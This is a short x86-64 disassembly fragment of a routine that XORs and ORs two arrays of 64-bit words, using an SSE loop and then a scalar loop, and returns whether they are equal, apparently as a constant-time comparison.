mov r9, qword [rdi]
mov ecx, r10d
mov r11, qword [rsi]
xorps xmm3, xmm3
xorps xmm2, xmm2
and ecx, 0x80000003
jge 0x1400797cf
dec ecx
or ecx, 0xfffffffc
inc ecx
mov eax, r10d
sub eax, ecx
movsxd rcx, eax
mov rax, rbx
nop word [rax + rax]
movdqu xmm0, xmmword [r9 + rax*8]
add edx, 4
movdqu xmm1, xmmword [r11 + rax*8]
xorps xmm1, xmm0
movdqu xmm0, xmmword [r9 + rax*8 + 0x10]
orps xmm3, xmm1
movdqu xmm1, xmmword [r11 + rax*8 + 0x10]
add rax, 4
xorps xmm1, xmm0
orps xmm2, xmm1
cmp rax, rcx
jl 0x1400797e0
orps xmm2, xmm3
movdqa xmm0, xmm2
psrldq xmm0, 8
orps xmm2, xmm0
movq rax, xmm2
or r8, rax
movsxd rdx, edx
movsxd r9, r10d
cmp rdx, r9
jge 0x140079853
mov r10, qword [rdi]
mov r11, qword [rsi]
nop word [rax + rax]
mov rcx, qword [r11 + rdx*8]
xor rcx, qword [r10 + rdx*8]
inc rdx
or r8, rcx
cmp rdx, r9
jl 0x140079840
movsxd rdx, dword [rdi + 0x10]
movsxd rcx, dword [rsi + 0x10]
mov rsi, qword [rsp + 0x10]
xor rdx, rcx
mov rdi, qword [rsp + 0x18]
or rdx, r8
sete bl
mov eax, ebx
mov rbx, qword [rsp + 8]
ret